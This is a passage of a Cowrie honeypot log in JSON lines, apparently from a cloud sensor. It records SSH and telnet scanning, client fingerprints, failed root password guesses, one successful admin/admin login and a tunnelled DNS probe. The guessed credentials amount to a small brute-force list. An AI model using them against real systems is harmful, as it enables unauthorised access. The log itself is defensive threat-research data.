.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:02.729538Z","src_ip":"37.233.85.71","session":"ac1f73b13be1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satana666","message":"login attempt [root/satana666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:03.044970Z","src_ip":"37.233.85.71","session":"ac1f73b13be1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:03.892850Z","src_ip":"47.237.167.49","session":"766a50632117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:04.151359Z","src_ip":"37.233.85.71","session":"ac1f73b13be1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49102,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff288d5f812a","protocol":"telnet","message":"New connection: 152.42.224.71:49102 (10.17.0.5:23) [session: ff288d5f812a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:04.274719Z"}
{"eventid":"cowrie.session.closed","duration":103.29540991783142,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:04.298533Z","src_ip":"152.42.224.71","session":"6f3e470fd11e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.85036873817444,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:04.545290Z","src_ip":"152.42.224.71","session":"7b8f28061da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49114,"dst_ip":"10.17.0.5","dst_port":23,"session":"b93093bdd7bd","protocol":"telnet","message":"New connection: 152.42.224.71:49114 (10.17.0.5:23) [session: b93093bdd7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:05.728353Z"}
{"eventid":"cowrie.session.closed","duration":58.48633098602295,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:09.163015Z","src_ip":"152.42.224.71","session":"0b25177f0803","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56886,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c8ff30b6756","protocol":"telnet","message":"New connection: 152.42.224.71:56886 (10.17.0.5:23) [session: 3c8ff30b6756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:11.309109Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":42140,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a7594083e08","protocol":"ssh","message":"New connection: 182.93.50.90:42140 (10.17.0.5:22) [session: 0a7594083e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:11.735714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:11.740022Z","src_ip":"182.93.50.90","session":"0a7594083e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:11.960009Z","src_ip":"182.93.50.90","session":"0a7594083e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56888,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e4e4e5db141","protocol":"telnet","message":"New connection: 152.42.224.71:56888 (10.17.0.5:23) [session: 4e4e4e5db141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:12.029038Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"SF2013ShiFangKM0712","message":"login attempt [root/SF2013ShiFangKM0712] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:12.869875Z","src_ip":"182.93.50.90","session":"0a7594083e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.681337118148804,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:13.252870Z","src_ip":"152.42.224.71","session":"51a752d45481","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56902,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2f4ae6e7c9b","protocol":"telnet","message":"New connection: 152.42.224.71:56902 (10.17.0.5:23) [session: e2f4ae6e7c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:13.708319Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:14.092818Z","src_ip":"182.93.50.90","session":"0a7594083e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59570,"dst_ip":"159.203.135.109","dst_port":22,"session":"e48078aac5fa","protocol":"ssh","message":"New connection: 152.42.212.128:59570 (159.203.135.109:22) [session: e48078aac5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:14.920780Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:14.926184Z","src_ip":"152.42.212.128","session":"e48078aac5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:14.930929Z","src_ip":"152.42.212.128","session":"e48078aac5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.81128716468811,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:15.801044Z","src_ip":"152.42.224.71","session":"08a0bec18eb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":96.45998430252075,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:25.707135Z","src_ip":"152.42.224.71","session":"530e74c95fd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.70223355293274,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:26.430463Z","src_ip":"152.42.224.71","session":"b93093bdd7bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44090,"dst_ip":"10.17.0.5","dst_port":23,"session":"81ebb9c4e622","protocol":"telnet","message":"New connection: 152.42.224.71:44090 (10.17.0.5:23) [session: 81ebb9c4e622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:28.209707Z"}
{"eventid":"cowrie.session.closed","duration":48.92679500579834,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:31.344079Z","src_ip":"152.42.224.71","session":"f479ee21030b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44094,"dst_ip":"10.17.0.5","dst_port":23,"session":"34cc73fcede2","protocol":"telnet","message":"New connection: 152.42.224.71:44094 (10.17.0.5:23) [session: 34cc73fcede2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:31.475536Z"}
{"eventid":"cowrie.session.closed","duration":103.21787190437317,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:31.903015Z","src_ip":"152.42.224.71","session":"4bcee26ebeac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.01479506492615,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:32.075695Z","src_ip":"152.42.224.71","session":"c4993dbf8277","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":47012,"dst_ip":"10.17.0.5","dst_port":22,"session":"921b37587a59","protocol":"ssh","message":"New connection: 103.149.28.157:47012 (10.17.0.5:22) [session: 921b37587a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:38.344480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:38.351089Z","src_ip":"103.149.28.157","session":"921b37587a59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:38.595586Z","src_ip":"103.149.28.157","session":"921b37587a59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789o","message":"login attempt [root/123456789o] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:39.328360Z","src_ip":"103.149.28.157","session":"921b37587a59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52452,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a4cd90c73b9","protocol":"telnet","message":"New connection: 152.42.224.71:52452 (10.17.0.5:23) [session: 5a4cd90c73b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:39.453249Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:40.574089Z","src_ip":"103.149.28.157","session":"921b37587a59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0021104812622,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:41.116812Z","src_ip":"152.42.224.71","session":"e712a541feda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34086,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1003ff3e80e","protocol":"telnet","message":"New connection: 152.42.224.71:34086 (10.17.0.5:23) [session: d1003ff3e80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:50.234778Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":48066,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b532a9edfcf","protocol":"ssh","message":"New connection: 81.9.145.130:48066 (10.17.0.5:22) [session: 9b532a9edfcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:50.485774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:50.490081Z","src_ip":"81.9.145.130","session":"9b532a9edfcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:50.608449Z","src_ip":"81.9.145.130","session":"9b532a9edfcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88224646","message":"login attempt [root/88224646] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:51.098152Z","src_ip":"81.9.145.130","session":"9b532a9edfcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34090,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb174582601e","protocol":"telnet","message":"New connection: 152.42.224.71:34090 (10.17.0.5:23) [session: eb174582601e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:51.259810Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:52.218001Z","src_ip":"81.9.145.130","session":"9b532a9edfcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39178,"dst_ip":"10.17.0.5","dst_port":23,"session":"352a7b087841","protocol":"telnet","message":"New connection: 152.42.224.71:39178 (10.17.0.5:23) [session: 352a7b087841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:56.900910Z"}
{"eventid":"cowrie.session.closed","duration":46.60336112976074,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:59:57.912349Z","src_ip":"152.42.224.71","session":"3c8ff30b6756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":34254,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a7082af8496","protocol":"ssh","message":"New connection: 47.237.167.49:34254 (159.203.135.109:22) [session: 5a7082af8496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:03.428439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:03.436664Z","src_ip":"47.237.167.49","session":"5a7082af8496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.18621850013733,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:03.460816Z","src_ip":"152.42.224.71","session":"ff288d5f812a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39180,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2b73644528","protocol":"telnet","message":"New connection: 152.42.224.71:39180 (10.17.0.5:23) [session: db2b73644528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:05.171694Z"}
{"eventid":"cowrie.session.closed","duration":1.4908018112182617,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:06.662376Z","src_ip":"152.42.224.71","session":"db2b73644528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49424,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d62fd3ecca2","protocol":"telnet","message":"New connection: 152.42.224.71:49424 (10.17.0.5:23) [session: 7d62fd3ecca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:09.140098Z"}
{"eventid":"cowrie.session.closed","duration":115.87486600875854,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:10.328588Z","src_ip":"152.42.224.71","session":"768b70a390cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49438,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d328a18c6c3","protocol":"telnet","message":"New connection: 152.42.224.71:49438 (10.17.0.5:23) [session: 8d328a18c6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:13.537748Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47098,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2981d0bf70e","protocol":"ssh","message":"New connection: 87.251.64.176:47098 (10.17.0.5:22) [session: f2981d0bf70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:17.487774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:17.493245Z","src_ip":"87.251.64.176","session":"f2981d0bf70e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:17.592746Z","src_ip":"87.251.64.176","session":"f2981d0bf70e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:17.889688Z","src_ip":"87.251.64.176","session":"f2981d0bf70e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:17.989919Z","session":"f2981d0bf70e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:18.098185Z","src_ip":"87.251.64.176","session":"f2981d0bf70e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.928752422332764,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:00:18.188450Z","src_ip":"152.42.224.71","session":"eb174582601e","protocol":"telnet"}
